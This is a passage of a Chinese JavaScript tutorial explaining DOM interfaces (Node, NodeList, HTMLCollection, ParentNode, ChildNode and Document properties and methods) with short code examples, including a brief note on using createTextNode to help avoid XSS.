`isEqualNode` 方法返回一个布尔值，用于检查两个节点是否相等。所谓相等的节点，**指的是两个节点的类型相同、属性相同、子节点相同**。

```js
var p1 = document.createElement('p');
var p2 = document.createElement('p');

p1.isEqualNode(p2) // true
```

`isSameNode` 方法返回一个布尔值，表示两个节点是否为同一个节点。

```js
var p1 = document.createElement('p');
var p2 = document.createElement('p');

p1.isSameNode(p2) // false
p1.isSameNode(p1) // true
```

#### `Node.prototype.normalize()`

`normalize` 方法用于清理当前节点内部的所有文本节点（text）。它会去除空的文本节点，并且将毗邻的文本节点合并成一个，也就是说不存在空的文本节点，以及毗邻的文本节点。

```js
var wrapper = document.createElement('div');

wrapper.appendChild(document.createTextNode('Part 1 '));
wrapper.appendChild(document.createTextNode('Part 2 '));

wrapper.childNodes.length // 2
wrapper.normalize();
wrapper.childNodes.length // 1
```

上面代码使用 `normalize` 方法之前，`wrapper` 节点有两个毗邻的文本子节点。使用 `normalize` 方法之后，两个文本子节点被合并成一个。

该方法是 `Text.splitText` 的逆方法

#### `Node.prototype.getRootNode()`

`getRootNode()` 方法返回当前节点所在文档的根节点 `document`，与 `ownerDocument` 属性的作用相同。

```js
document.body.firstChild.getRootNode() === document
// true
document.body.firstChild.getRootNode() === document.body.firstChild.ownerDocument
// true
```

该方法可用于 `document` 节点自身，这一点与 `document.ownerDocument` 不同。

```js
document.getRootNode() // document
document.ownerDocument // null
```

***

节点都是单个对象，有时需要一种数据结构，能够容纳多个节点。DOM 提供两种节点集合，用于容纳多个节点：`NodeList` 和 `HTMLCollection`。

这两种集合都属于接口规范。许多 DOM 属性和方法，返回的结果是 `NodeList` 实例或 `HTMLCollection` 实例。主要区别是，`NodeList` 可以包含各种类型的节点，`HTMLCollection` 只能包含 HTML 元素节点。

## NodeList 接口

`NodeList` 实例是一个类似数组的对象，它的成员是节点对象。通过以下方法可以得到 `NodeList` 实例。

* `Node.childNodes`
* `document.querySelectorAll()` 等节点搜索方法

```js
document.body.childNodes instanceof NodeList // true
```

`NodeList` 实例很像数组，可以使用 `length` 属性和 `forEach` 方法，但是，它不是数组，不能使用 `pop` 或 `push` 之类数组特有的方法。

```js
var children = document.body.childNodes;

Array.isArray(children) // false

children.length // 34
children.forEach(console.log)
```

上面代码中，NodeList 实例 `children` 不是数组，但是具有 `length` 属性和 `forEach` 方法。

如果 `NodeList` 实例要使用数组方法，可以将其转为真正的数组。

```js
var children = document.body.childNodes;
var nodeArr = Array.prototype.slice.call(children);
```

除了使用 `forEach` 方法遍历 NodeList 实例，还可以使用 `for` 循环。

```js
var children = document.body.childNodes;

for (var i = 0; i < children.length; i++) {
  var item = children[i];
}
```

**注意**：NodeList 实例可能是动态集合，也可能是静态集合。所谓动态集合就是一个活的集合，DOM 删除或新增一个相关节点，都会立刻反映在 NodeList 实例。目前，只有 `Node.childNodes` 返回的是一个动态集合，其他的 NodeList 都是静态集合。

```js
var children = document.body.childNodes;
children.length // 18
document.body.appendChild(document.createElement('p'));
children.length // 19
```

上面代码中，文档增加一个子节点，NodeList 实例 `children` 的 `length` 属性就增加了 1。

#### `NodeList.prototype.length`

`length` 属性返回 NodeList 实例包含的节点数量。

```js
document.querySelectorAll('xxx').length
// 0
```

上面代码中，`document.querySelectorAll` 返回一个 NodeList 集合。对于那些不存在的 HTML 标签，`length` 属性返回 `0`。

#### `NodeList.prototype.forEach()`

`forEach` 方法用于遍历 NodeList 的所有成员。它接受一个回调函数作为参数，每一轮遍历就执行一次这个回调函数，用法与数组实例的 `forEach` 方法完全一致。

```js
var children = document.body.childNodes;
children.forEach(function f(item, i, list) {
  // ...
}, this);
```

上面代码中，回调函数 `f` 的三个参数依次是当前成员、位置和当前 NodeList 实例。`forEach` 方法的第二个参数，用于绑定回调函数内部的 `this`，该参数可省略。

#### `NodeList.prototype.item()`

`item` 方法接受一个整数值作为参数，表示成员的位置，返回该位置上的成员。

```js
document.body.childNodes.item(0)
```

上面代码中，`item(0)` 返回第一个成员。

如果参数值大于实际长度，或者索引不合法（比如负数），`item` 方法返回 `null`。如果省略参数，`item` 方法会报错。

所有类似数组的对象，都可以使用方括号运算符取出成员。一般情况下，都是使用方括号运算符，而不使用 `item` 方法。

```js
document.body.childNodes[0]
```

#### `NodeList.prototype.keys()`

#### `NodeList.prototype.values()`

#### `NodeList.prototype.entries()`

这三个方法都返回一个 ES6 的遍历器对象，可以通过 `for...of` 循环遍历获取每一个成员的信息。区别在于，`keys()` 返回键名的遍历器，`values()` 返回键值的遍历器，`entries()` 返回的遍历器同时包含键名和键值的信息。

```js
var children = document.body.childNodes;

for (var key of children.keys()) {
  console.log(key);
}
// 0
// 1
// 2
// ...

for (var value of children.values()) {
  console.log(value);
}
// #text
// <script>
// ...

for (var entry of children.entries()) {
  console.log(entry);
}
// Array [ 0, #text ]
// Array [ 1, <script> ]
// ...
```

## HTMLCollection 接口

`HTMLCollection` 是一个节点对象的集合，只能包含元素节点（element），不能包含其他类型的节点。它的返回值是一个类似数组的对象，但是与 `NodeList` 接口不同，`HTMLCollection` 没有 `forEach` 方法，只能使用 `for` 循环遍历。

返回 `HTMLCollection` 实例的，主要是一些 `Document` 对象的集合属性，比如 `document.links`、`document.forms`、`document.images` 等。

```js
document.links instanceof HTMLCollection // true
```

`HTMLCollection` 实例都是动态集合，节点的变化会实时反映在集合中。

如果元素节点有 `id` 或 `name` 属性，那么 `HTMLCollection` 实例上面，可以使用 `id` 属性或 `name` 属性引用该节点元素。如果没有对应的节点，则返回 `null`。

```js
// HTML 代码如下
// <img id="pic" src="http://example.com/foo.jpg">

var pic = document.getElementById('pic');
document.images.pic === pic // true
```

上面代码中，`document.images` 是一个 `HTMLCollection` 实例，可以通过 `<img>` 元素的 `id` 属性值，从 `HTMLCollection` 实例上取到这个元素。

#### `HTMLCollection.prototype.length`

`length` 属性返回 `HTMLCollection` 实例包含的成员数量。

```js
document.links.length // 18
```

#### `HTMLCollection.prototype.item()`

`item` 方法接受一个整数值作为参数，表示成员的位置，返回该位置上的成员。

```js
var c = document.images;
var img0 = c.item(0);
```

上面代码中，`item(0)` 表示返回 0 号位置的成员。由于方括号运算符也具有同样作用，而且使用更方便，所以一般情况下，总是使用方括号运算符。

如果参数值超出成员数量或者不合法（比如小于 0），那么 `item` 方法返回 `null`。

#### `HTMLCollection.prototype.namedItem()`

`namedItem` 方法的参数是一个字符串，表示 `id` 属性或 `name` 属性的值，返回当前集合中对应的元素节点。如果没有对应的节点，则返回 `null`。

```js
// HTML 代码如下
// <img id="pic" src="http://example.com/foo.jpg">

var pic = document.getElementById('pic');
document.images.namedItem('pic') === pic // true
```

`Collection.namedItem('value')` 等同于 `Collection['value']`。

***

节点对象除了继承 Node 接口以外，还拥有其他接口。`ParentNode` 接口表示当前节点是一个父节点，提供一些处理子节点的方法。`ChildNode` 接口表示当前节点是一个子节点，提供一些相关方法。

## ParentNode 接口

如果当前节点是父节点，就会混入了（mixin）`ParentNode` 接口。由于只有元素节点（element）、文档节点（document）和文档片段节点（documentFragment）拥有子节点，因此只有这三类节点会拥有 `ParentNode` 接口。

#### `ParentNode.children`

`children` 属性返回一个 `HTMLCollection` 实例，成员是当前节点的所有元素子节点。该属性只读。

下面是遍历某个节点的所有元素子节点的示例。

```js
for (var i = 0; i < el.children.length; i++) {
  // ...
}
```

**注意**：`children` 属性只包括元素子节点，不包括其他类型的子节点（比如文本子节点）。如果没有元素类型的子节点，返回值 `HTMLCollection` 实例的 `length` 属性为 `0`。

另外，`HTMLCollection` 是动态集合，会实时反映 DOM 的任何变化。

#### `ParentNode.firstElementChild`

`firstElementChild` 属性返回当前节点的第一个元素子节点。如果没有任何元素子节点，则返回 `null`。

```js
document.firstElementChild.nodeName
// "HTML"
```

上面代码中，`document` 节点的第一个元素子节点是 `<HTML>`。

#### `ParentNode.lastElementChild`

`lastElementChild` 属性返回当前节点的最后一个元素子节点，如果不存在任何元素子节点，则返回 `null`。

```js
document.lastElementChild.nodeName
// "HTML"
```

上面代码中，`document` 节点的最后一个元素子节点是 `<HTML>`（因为 `document` 只包含这一个元素子节点）。

#### `ParentNode.childElementCount`

`childElementCount` 属性返回一个整数，表示当前节点的所有元素子节点的数目。如果不包含任何元素子节点，则返回 `0`。

```js
document.body.childElementCount // 13
```

#### `ParentNode.append()`

`append()` 方法为当前节点追加一个或多个子节点，位置是最后一个元素子节点的后面。

该方法不仅可以添加元素子节点（参数为元素节点），还可以添加文本子节点（参数为字符串）。

```js
var parent = document.body;

// 添加元素子节点
var p = document.createElement('p');
parent.append(p);

// 添加文本子节点
parent.append('Hello');

// 添加多个元素子节点
var p1 = document.createElement('p');
var p2 = document.createElement('p');
parent.append(p1, p2);

// 添加元素子节点和文本子节点
var p = document.createElement('p');
parent.append('Hello', p);
```

该方法没有返回值。

**注意**：该方法与 `Node.prototype.appendChild()` 方法有三点不同。

* `append()` 允许字符串作为参数，`appendChild()` 只允许子节点作为参数。
* `append()` 没有返回值，而 `appendChild()` 返回添加的子节点。
* `append()` 可以添加多个子节点和字符串（即允许多个参数），`appendChild()` 只能添加一个节点（即只允许一个参数）。

#### `ParentNode.prepend()`

`prepend()` 方法为当前节点追加一个或多个子节点，位置是第一个元素子节点的前面。它的用法与 `append()` 方法完全一致，也是没有返回值。

## ChildNode 接口

如果一个节点有父节点，那么该节点就拥有了 `ChildNode` 接口。

#### `ChildNode.remove()`

`remove()` 方法用于从父节点移除当前节点。

```js
el.remove()
```

上面代码在 DOM 里面移除了 `el` 节点。

#### `ChildNode.before()`

`before()` 方法用于在当前节点的前面，插入一个或多个同级节点。两者拥有相同的父节点。

**注意**：该方法不仅可以插入元素节点，还可以插入文本节点。

```js
var p = document.createElement('p');
var p1 = document.createElement('p');

// 插入元素节点
el.before(p);

// 插入文本节点
el.before('Hello');

// 插入多个元素节点
el.before(p, p1);

// 插入元素节点和文本节点
el.before(p, 'Hello');
```

#### `ChildNode.after()`

`after()` 方法用于在当前节点的后面，插入一个或多个同级节点，两者拥有相同的父节点。用法与 `before` 方法完全相同。

#### `ChildNode.replaceWith()`

`replaceWith()` 方法使用参数节点，替换当前节点。参数可以是元素节点，也可以是文本节点。

```js
var span = document.createElement('span');
el.replaceWith(span);
```

上面代码中，`el` 节点将被 `span` 节点替换。

## Document 节点

`document` 节点对象代表整个文档，每张网页都有自己的 `document` 对象。`window.document` 属性就指向这个对象。只要浏览器开始载入 HTML 文档，该对象就存在了，可以直接使用。

`document` 对象有不同的办法可以获取。

* 正常的网页，直接使用 `document` 或 `window.document`。
* `iframe` 框架里面的网页，使用 `iframe` 节点的 `contentDocument` 属性。
* Ajax 操作返回的文档，使用 `XMLHttpRequest` 对象的 `responseXML` 属性。
* 内部节点的 `ownerDocument` 属性。

`document` 对象继承了 `EventTarget` 接口和 `Node` 接口，并且混入（mixin）了 `ParentNode` 接口。这意味着，这些接口的方法都可以在 `document` 对象上调用。除此之外，`document` 对象还有很多自己的属性和方法。

### 属性

#### 快捷方式属性

以下属性是指向文档内部的某个节点的快捷方式。

##### `document.defaultView`

`document.defaultView` 属性返回 `document` 对象所属的 `window` 对象。如果当前文档不属于 `window` 对象，该属性返回 `null`。

```js
document.defaultView === window // true
```

##### `document.doctype`

对于 HTML 文档来说，`document` 对象一般有两个子节点。第一个子节点是 `document.doctype`，指向 `<DOCTYPE>` 节点，即文档类型（Document Type Declaration，简写 DTD）节点。HTML 的文档类型节点，一般写成 `<!DOCTYPE html>`。如果网页没有声明 DTD，该属性返回 `null`。

```js
var doctype = document.doctype;
doctype // "<!DOCTYPE html>"
doctype.name // "html"
```

`document.firstChild` 通常就返回这个节点。

##### `document.documentElement`

`document.documentElement` 属性返回当前文档的根元素节点（root）。它通常是 `document` 节点的第二个子节点，紧跟在 `document.doctype` 节点后面。HTML 网页的该属性，一般是 `<html>` 节点。

##### `document.body`

##### `document.head`

`document.body` 属性指向 `<body>` 节点，`document.head` 属性指向 `<head>` 节点。

这两个属性总是存在的，如果网页源码里面省略了 `<head>` 或 `<body>`，浏览器会自动创建。另外，这两个属性是可写的，如果改写它们的值，相当于移除所有子节点。

##### `document.scrollingElement`

`document.scrollingElement` 属性返回文档的滚动元素。也就是说，当文档整体滚动时，到底是哪个元素在滚动。

标准模式下，这个属性返回的文档的根元素 `document.documentElement`（即 `<html>`）。兼容（quirk）模式下，返回的是 `<body>` 元素，如果该元素不存在，返回 `null`。

```js
// 页面滚动到浏览器顶部
document.scrollingElement.scrollTop = 0;
```

##### `document.activeElement`

`document.activeElement` 属性返回获得当前焦点（focus）的 DOM 元素。通常，这个属性返回的是 `<input>`、`<textarea>`、`<select>` 等表单元素，如果当前没有焦点元素，返回 `<body>` 元素或 `null`。

##### `document.fullscreenElement`

`document.fullscreenElement` 属性返回当前以全屏状态展示的 DOM 元素。如果不是全屏状态，该属性返回 `null`。

```js
if (
  document.fullscreenElement && 
  document.fullscreenElement.nodeName == 'VIDEO'
) {
  console.log('全屏播放视频');
}
```

上面代码中，通过 `document.fullscreenElement` 可以知道 `<video>` 元素有没有处在全屏状态，从而判断用户行为。

#### 节点集合属性

以下属性返回一个 `HTMLCollection` 实例，表示文档内部特定元素的集合。这些集合都是动态的，原节点有任何变化，立刻会反映在集合中。

##### `document.links`

`document.links` 属性返回当前文档所有设定了 `href` 属性的 `<a>` 及 `<area>` 节点。

```js
var links = document.links;
for(var i = 0; i < links.length; i++) {
  console.log(links[i]);
}
```

##### `document.forms`

`document.forms` 属性返回所有 `<form>` 表单节点。

```js
var selectForm = document.forms[0];
```

上面代码获取文档第一个表单。

除了使用位置序号，`id` 属性和 `name` 属性也可以用来引用表单。

```js
/* HTML 代码如下
  <form name="foo" id="bar"> </form>
*/
document.forms[0] === document.forms.foo // true
document.forms.bar === document.forms.foo // true
```

##### `document.images`

`document.images` 属性返回页面所有 `<img>` 图片节点。

```js
var imglist = document.images;

for(var i = 0; i < imglist.length; i++) {
  if (imglist[i].src === 'banner.gif') {
    // ...
  }
}
```

上面代码在所有 `img` 标签中，寻找某张图片。

##### `document.embeds`

##### `document.plugins`

`document.embeds` 属性和 `document.plugins` 属性，都返回所有 `<embed>` 节点。

##### `document.scripts`

`document.scripts` 属性返回所有 `<script>` 节点。

```js
var scripts = document.scripts;
if (scripts.length !== 0 ) {
  console.log('当前网页有脚本');
}
```

##### `document.styleSheets`

`document.styleSheets` 属性返回网页内嵌或引入的 CSS 样式表集合。

**小结**

除了 `document.styleSheets` 属性，以上的其他集合属性返回的都是 `HTMLCollection` 实例。`document.styleSheets` 属性返回的是 `StyleSheetList` 实例。

```js
document.links instanceof HTMLCollection // true
document.images instanceof HTMLCollection // true
document.forms instanceof HTMLCollection // true
document.embeds instanceof HTMLCollection // true
document.scripts instanceof HTMLCollection // true
```

`HTMLCollection` 实例是类似数组的对象，所以上面这些属性都有 `length` 属性，都可以使用方括号运算符引用成员。如果成员有 `id` 或 `name` 属性，还可以用这两个属性的值，在 `HTMLCollection` 实例上引用到这个成员。

```js
// HTML 代码如下
// <form name="myForm">
document.myForm === document.forms.myForm // true
```

#### 文档静态信息属性

以下属性返回文档信息。

##### `document.documentURI`

##### `document.URL`

`document.documentURI` 属性和 `document.URL` 属性都返回一个字符串，表示当前文档的网址。不同之处是它们继承自不同的接口，`documentURI` 继承自 `Document` 接口，可用于所有文档；`URL` 继承自 `HTMLDocument` 接口，只能用于 HTML 文档。

```js
document.URL
// http://www.example.com/about

document.documentURI === document.URL
// true
```

如果文档的锚点（`#anchor`）变化，这两个属性都会跟着变化。

##### `document.domain`

`document.domain` 属性返回当前文档的域名，不包含协议和端口。比如，网页的网址是 `http://www.example.com:80/hello.html`，那么 `document.domain` 属性就等于 `www.example.com`。如果无法获取域名，该属性返回 `null`。

`document.domain` 基本上是一个只读属性，只有一种情况除外。次级域名的网页，可以把 `document.domain` 设为对应的上级域名。比如，当前域名是 `a.sub.example.com`，则 `document.domain` 属性可以设置为 `sub.example.com`，也可以设为 `example.com`。修改后，`document.domain` 相同的两个网页，可以读取对方的资源，比如设置的 Cookie。

另外，设置 `document.domain` 会导致端口被改成 `null`。因此，如果通过设置 `document.domain` 来进行通信，双方网页都必须设置这个值，才能保证端口相同。

##### `document.location`

`Location` 对象是浏览器提供的原生对象，提供 URL 相关的信息和操作方法。通过 `window.location` 和 `document.location` 属性，可以拿到这个对象。

##### `document.lastModified`

`document.lastModified` 属性返回一个字符串，表示当前文档最后修改的时间。不同浏览器的返回值，日期格式是不一样的。

```js
document.lastModified
// "03/07/2018 11:18:27"
```

注意，`document.lastModified` 属性的值是字符串，所以不能直接用来比较。`Date.parse` 方法将其转为 `Date` 实例，才能比较两个网页。

```js
var lastVisitedDate = Date.parse('01/01/2018');
if (Date.parse(document.lastModified) > lastVisitedDate) {
  console.log('网页已经变更');
}
```

如果页面上有 JavaScript 生成的内容，`document.lastModified` 属性返回的总是当前时间。

##### `document.title`

`document.title` 属性返回当前文档的标题。默认情况下，返回 `<title>` 节点的值。但是该属性是可写的，一旦被修改，就返回修改后的值。

```js
document.title = '新标题';
document.title // "新标题"
```

##### `document.characterSet`

`document.characterSet` 属性返回当前文档的编码，比如 `UTF-8`、`ISO-8859-1` 等等。

##### `document.referrer`

`document.referrer` 属性返回一个字符串，表示当前文档的访问者来自哪里。

```js
document.referrer
// "https://example.com/path"
```

如果无法获取来源，或者用户直接键入网址而不是从其他网页点击进入，`document.referrer` 返回一个空字符串。

`document.referrer` 的值，总是与 HTTP 头信息的 `Referer` 字段保持一致。但是，`document.referrer` 的拼写有两个 `r`，而头信息的 `Referer` 字段只有一个 `r`。

##### `document.dir`

`document.dir` 返回一个字符串，表示文字方向。它只有两个可能的值：`rtl` 表示文字从右到左，阿拉伯文是这种方式；`ltr` 表示文字从左到右，包括英语和汉语在内的大多数文字采用这种方式。

##### `document.compatMode`

`compatMode` 属性返回浏览器处理文档的模式，可能的值为 `BackCompat`（向后兼容模式）和 `CSS1Compat`（严格模式）。

一般来说，如果网页代码的第一行设置了明确的 `DOCTYPE`（比如 `<!doctype html>`），`document.compatMode` 的值都为 `CSS1Compat`。

#### 文档状态属性

##### `document.hidden`

`document.hidden` 属性返回一个布尔值，表示当前页面是否可见。如果窗口最小化、浏览器切换了 Tab，都会导致导致页面不可见，使得 `document.hidden` 返回 `true`。

这个属性是 Page Visibility API 引入的，一般都是配合这个 API 使用。

##### `document.visibilityState`

`document.visibilityState` 返回文档的可见状态。

它的值有四种可能。

* `visible`：页面可见。注意，页面可能是部分可见，即不是焦点窗口，前面被其他窗口部分挡住了。
* `hidden`：页面不可见，有可能窗口最小化，或者浏览器切换到了另一个 Tab。
* `prerender`：页面处于正在渲染状态，对于用户来说，该页面不可见。
* `unloaded`：页面从内存里面卸载了。

这个属性可以用在页面加载时，防止加载某些资源；或者页面不可见时，停掉一些页面功能。

##### `document.readyState`

`document.readyState` 属性返回当前文档的状态，共有三种可能的值。

* `loading`：加载 HTML 代码阶段（尚未完成解析）
* `interactive`：加载外部资源阶段
* `complete`：加载完成

这个属性变化的过程如下。

1. 浏览器开始解析 HTML 文档，`document.readyState` 属性等于 `loading`。
2. 浏览器遇到 HTML 文档中的 `<script>` 元素，并且没有 `async` 或 `defer` 属性，就暂停解析，开始执行脚本，这时 `document.readyState` 属性还是等于 `loading`。
3. HTML 文档解析完成，`document.readyState` 属性变成 `interactive`。
4. 浏览器等待图片、样式表、字体文件等外部资源加载完成，一旦全部加载完成，`document.readyState` 属性变成 `complete`。

下面的代码用来检查网页是否加载成功。

```js
// 基本检查
if (document.readyState === 'complete') {
  // ...
}

// 轮询检查
var interval = setInterval(function() {
  if (document.readyState === 'complete') {
    clearInterval(interval);
    // ...
  }
}, 100);
```

另外，每次状态变化都会触发一个 `readystatechange` 事件。

#### `document.cookie`

`document.cookie` 属性用来操作浏览器 Cookie。

#### `document.designMode`

`document.designMode` 属性控制当前文档是否可编辑。该属性只有两个值 `on` 和 `off`，默认值为 `off`。一旦设为 `on`，用户就可以编辑整个文档的内容。

下面代码打开 `iframe` 元素内部文档的 `designMode` 属性，就能将其变为一个所见即所得的编辑器。

```js
// HTML 代码如下
// <iframe id="editor" src="about:blank"> </iframe>
var editor = document.getElementById('editor');
editor.contentDocument.designMode = 'on';
```

#### `document.currentScript`

`document.currentScript` 属性只用在 `<script>` 元素的内嵌脚本或加载的外部脚本之中，返回当前脚本所在的那个 DOM 节点，即 `<script>` 元素的 DOM 节点。

```html
<script id="foo">
  console.log(
    document.currentScript === document.getElementById('foo')
  ); // true
</script>
```

上面代码中，`document.currentScript` 就是 `<script>` 元素节点。

#### `document.implementation`

`document.implementation` 属性返回一个 `DOMImplementation` 对象。该对象有三个方法，主要用于创建独立于当前文档的新的 Document 对象。

* `DOMImplementation.createDocument()`：创建一个 XML 文档。
* `DOMImplementation.createHTMLDocument()`：创建一个 HTML 文档。
* `DOMImplementation.createDocumentType()`：创建一个 DocumentType 对象。

下面是创建 HTML 文档的例子。

```js
var doc = document.implementation.createHTMLDocument('Title');
var p = doc.createElement('p');
p.innerHTML = 'hello world';
doc.body.appendChild(p);

document.replaceChild(
  doc.documentElement,
  document.documentElement
);
```

上面代码中，第一步生成一个新的 HTML 文档 `doc`，然后用它的根元素 `doc.documentElement` 替换掉 `document.documentElement`。这会使得当前文档的内容全部消失，变成 `hello world`。

### 方法

#### `document.open()`

#### `document.close()`

`document.open` 方法清除当前文档所有内容，使得文档处于可写状态，供 `document.write` 方法写入内容。

`document.close` 方法用来关闭 `document.open()` 打开的文档。

```js
document.open();
document.write('hello world');
document.close();
```

#### `document.write()`

#### `document.writeln()`

`document.write` 方法用于向当前文档写入内容。

在网页的首次渲染阶段，只要页面没有关闭写入（即没有执行 `document.close()`），`document.write` 写入的内容就会追加在已有内容的后面。

```js
// 页面显示“helloworld”
document.open();
document.write('hello');
document.write('world');
document.close();
```

注意，`document.write` 会当作 HTML 代码解析，不会转义。

```js
document.write('<p>hello world</p>');
```

上面代码中，`document.write` 会将 `<p>` 当作 HTML 标签解释。

如果页面已经解析完成（`DOMContentLoaded` 事件发生之后），再调用 `write` 方法，它会先调用 `open` 方法，擦除当前文档所有内容，然后再写入。

```js
document.addEventListener('DOMContentLoaded', function (event) {
  document.write('<p>Hello World!</p>');
});

// 等同于
document.addEventListener('DOMContentLoaded', function (event) {
  document.open();
  document.write('<p>Hello World!</p>');
  document.close();
});
```

如果在页面渲染过程中调用 `write` 方法，并不会自动调用 `open` 方法。（可以理解成，`open` 方法已调用，但 `close` 方法还未调用。）

```html
<html>
    <body>
        hello
        <script type="text/javascript">
            document.write("world")
        </script>
    </body>
</html>
```

在浏览器打开上面网页，将会显示 `hello world`。

`document.write` 是 JavaScript 语言标准化之前就存在的方法，现在完全有更符合标准的方法向文档写入内容（比如对 `innerHTML` 属性赋值）。所以，除了某些特殊情况，应该尽量避免使用 `document.write` 这个方法。

`document.writeln` 方法与 `write` 方法完全一致，除了会在输出内容的尾部添加换行符。

```js
document.write(1);
document.write(2);
// 12

document.writeln(1);
document.writeln(2);
// 1
// 2
//
```

注意，`writeln` 方法添加的是 ASCII 码的换行符，渲染成 HTML 网页时不起作用，即在网页上显示不出换行。网页上的换行，必须显式写入 `<br>`。

#### `document.querySelector()`

#### `document.querySelectorAll()`

`document.querySelector` 方法接受一个 CSS 选择器作为参数，返回匹配该选择器的元素节点。如果有多个节点满足匹配条件，则返回第一个匹配的节点。如果没有发现匹配的节点，则返回 `null`。

```js
var el1 = document.querySelector('.myclass');
var el2 = document.querySelector('#myParent > [ng-click]');
```

`document.querySelectorAll` 方法与 `querySelector` 用法类似，区别是返回一个 `NodeList` 对象，包含所有匹配给定选择器的节点。

```js
elementList = document.querySelectorAll('.myclass');
```

这两个方法的参数，可以是逗号分隔的多个 CSS 选择器，返回匹配其中一个选择器的元素节点，这与 CSS 选择器的规则是一致的。

```js
var matches = document.querySelectorAll('div.note, div.alert');
```

上面代码返回 `class` 属性是 `note` 或 `alert` 的 `div` 元素。

这两个方法都支持复杂的 CSS 选择器。

```js
// 选中 data-foo-bar 属性等于 someval 的元素
document.querySelectorAll('[data-foo-bar="someval"]');

// 选中 myForm 表单中所有不通过验证的元素
document.querySelectorAll('#myForm :invalid');

// 选中 div 元素，那些 class 含 ignore 的除外
document.querySelectorAll('DIV:not(.ignore)');

// 同时选中 div，a，script 三类元素
document.querySelectorAll('DIV, A, SCRIPT');
```

但是，它们不支持 CSS 伪元素的选择器（比如 `:first-line` 和 `:first-letter`）和伪类的选择器（比如 `:link` 和 `:visited`），即无法选中伪元素和伪类。

如果 `querySelectorAll` 方法的参数是字符串 `*`，则会返回文档中的所有元素节点。另外，`querySelectorAll` 的返回结果不是动态集合，不会实时反映元素节点的变化。

最后，这两个方法除了定义在 `document` 对象上，还定义在元素节点上，即在元素节点上也可以调用。

#### `document.getElementsByTagName()`

`document.getElementsByTagName()` 方法搜索 HTML 标签名，返回符合条件的元素。它的返回值是一个类似数组对象（`HTMLCollection` 实例），可以实时反映 HTML 文档的变化。如果没有任何匹配的元素，就返回一个空集。

```js
var paras = document.getElementsByTagName('p');
paras instanceof HTMLCollection // true
```

上面代码返回当前文档的所有 `p` 元素节点。

HTML 标签名是大小写不敏感的，因此 `getElementsByTagName()` 方法的参数也是大小写不敏感的。另外，返回结果中，各个成员的顺序就是它们在文档中出现的顺序。

如果传入 `*`，就可以返回文档中所有 HTML 元素。

```js
var allElements = document.getElementsByTagName('*');
```

**注意**：元素节点本身也定义了 `getElementsByTagName` 方法，返回该元素的后代元素中符合条件的元素。也就是说，这个方法不仅可以在 `document` 对象上调用，也可以在任何元素节点上调用。

```js
var firstPara = document.getElementsByTagName('p')[0];
var spans = firstPara.getElementsByTagName('span');
```

上面代码选中第一个 `p` 元素内部的所有 `span` 元素。

#### `document.getElementsByClassName()`

`document.getElementsByClassName()` 方法返回一个类似数组的对象（`HTMLCollection` 实例），包括了所有 `class` 名字符合指定条件的元素，元素的变化实时反映在返回结果中。

```js
var elements = document.getElementsByClassName(names);
```

由于 `class` 是保留字，所以 JavaScript 一律使用 `className` 表示 CSS 的 `class`。

参数可以是多个 `class`，它们之间使用空格分隔。

```js
var elements = document.getElementsByClassName('foo bar');
```

上面代码返回同时具有 `foo` 和 `bar` 两个 `class` 的元素，`foo` 和 `bar` 的顺序不重要。

**注意**：正常模式下，CSS 的 `class` 是大小写敏感的。（`quirks mode` 下，大小写不敏感。）

与 `getElementsByTagName()` 方法一样，`getElementsByClassName()` 方法不仅可以在 `document` 对象上调用，也可以在任何元素节点上调用。

```js
// 非 document 对象上调用
var elements = rootElement.getElementsByClassName(names);
```

#### `document.getElementsByName()`

`document.getElementsByName()` 方法用于选择拥有 `name` 属性的 HTML 元素（比如 `<form>`、`<radio>`、`<img>`、`<frame>`、`<embed>` 和 `<object>` 等），返回一个类似数组的的对象（`NodeList` 实例），因为 `name` 属性相同的元素可能不止一个。

```js
// 表单为 <form name="x"> </form>
var forms = document.getElementsByName('x');
forms[0].tagName // "FORM"
```

#### `document.getElementById()`

`document.getElementById()` 方法返回匹配指定 `id` 属性的元素节点。如果没有发现匹配的节点，则返回 `null`。

```js
var elem = document.getElementById('para1');
```

**注意**：该方法的参数是大小写敏感的。比如，如果某个节点的 `id` 属性是 `main`，那么 `document.getElementById('Main')` 将返回 `null`。

`document.getElementById()` 方法与 `document.querySelector()` 方法都能获取元素节点，不同之处是 `document.querySelector()` 方法的参数使用 CSS 选择器语法，`document.getElementById()` 方法的参数是元素的 `id` 属性。

```js
document.getElementById('myElement')
document.querySelector('#myElement')
```

上面代码中，**两个方法都能选中 `id` 为 `myElement` 的元素，但是 `document.getElementById()` 比 `document.querySelector()` 效率高得多**。

另外，**这个方法只能在 `document` 对象上使用，不能在其他元素节点上使用**。

#### `document.elementFromPoint()`

#### `document.elementsFromPoint()`

`document.elementFromPoint()` 方法返回位于页面指定位置最上层的元素节点。

```js
var element = document.elementFromPoint(50, 50);
```

上面代码选中在 `(50, 50)` 这个坐标位置的最上层的那个 HTML 元素。

`elementFromPoint` 方法的两个参数，依次是相对于当前视口左上角的横坐标和纵坐标，单位是像素。如果位于该位置的 HTML 元素不可返回（比如文本框的滚动条），则返回它的父元素（比如文本框）。如果坐标值无意义（比如负值或超过视口大小），则返回 `null`。

`document.elementsFromPoint()` 返回一个数组，成员是位于指定坐标（相对于视口）的所有元素。

```js
var elements = document.elementsFromPoint(x, y);
```

#### `document.createElement()`

`document.createElement` 方法用来生成元素节点，并返回该节点。

```js
var newDiv = document.createElement('div');
```

`createElement` 方法的参数为元素的标签名，即元素节点的 `tagName` 属性，对于 HTML 网页大小写不敏感，即参数为 `div` 或 `DIV` 返回的是同一种节点。如果参数里面包含尖括号（即 `<` 和 `>`）会报错。

```js
document.createElement('<div>');
// DOMException: The tag name provided ('<div>') is not a valid name
```

注意，`document.createElement` 的参数可以是自定义的标签名。

```js
document.createElement('foo');
```

#### `document.createTextNode()`

`document.createTextNode` 方法用来生成文本节点（`Text` 实例），并返回该节点。它的参数是文本节点的内容。

```js
var newDiv = document.createElement('div');
var newContent = document.createTextNode('Hello');
newDiv.appendChild(newContent);
```

上面代码新建一个 `div` 节点和一个文本节点，然后将文本节点插入 `div` 节点。

这个方法可以确保返回的节点，被浏览器当作文本渲染，而不是当作 HTML 代码渲染。因此，可以用来展示用户的输入，避免 XSS 攻击。

```js
var div = document.createElement('div');
div.appendChild(document.createTextNode('<span>Foo & bar</span>'));
console.log(div.innerHTML)
// &lt; span&gt; Foo &amp; bar&lt;/span&gt;
```

上面代码中，`createTextNode` 方法对大于号和小于号进行转义，从而保证即使用户输入的内容包含恶意代码，也能正确显示。

需要注意的是，该方法不对单引号和双引号转义，所以不能用来对 HTML 属性赋值。

```js
function escapeHtml(str) {
  var div = document.createElement('div');
